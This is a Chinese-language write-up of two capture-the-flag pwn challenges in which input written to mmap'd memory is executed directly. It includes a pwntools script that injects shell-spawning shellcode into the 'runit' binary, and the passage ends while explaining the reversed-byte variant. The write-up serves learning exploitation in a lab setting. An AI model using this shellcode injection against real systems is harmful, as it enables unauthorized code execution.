解析两道pwn题shellcode利用

两道题都是shellcode直接利用，简单记录解题的过程。
0x01 runit

逻辑不难，使用mmap（）分配一块内存，然后通过read函数写入数据到这个内存块，接下来就直接执行我们输入的数据，所以可以直接利用pwntool构造shellcode注入到该内存块，完事。

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
cn = process('./runit')
shell=shellcraft.sh()
offset=asm(shell)
cn.recvuntil('Send me stuff!!')
cn.sendline(offset)
cn.interactive()

执行

0x02 runitplusplus

这一题和前一题不同的是多了一个for循环，简单分析一下，for循环里进行三次异或运算，将buf里的数据顺序颠倒了，也就是说，我们注入的shellcode也要将顺序颠倒。这里我在一个著名网站shell-storm.org上找到一个shellcode代码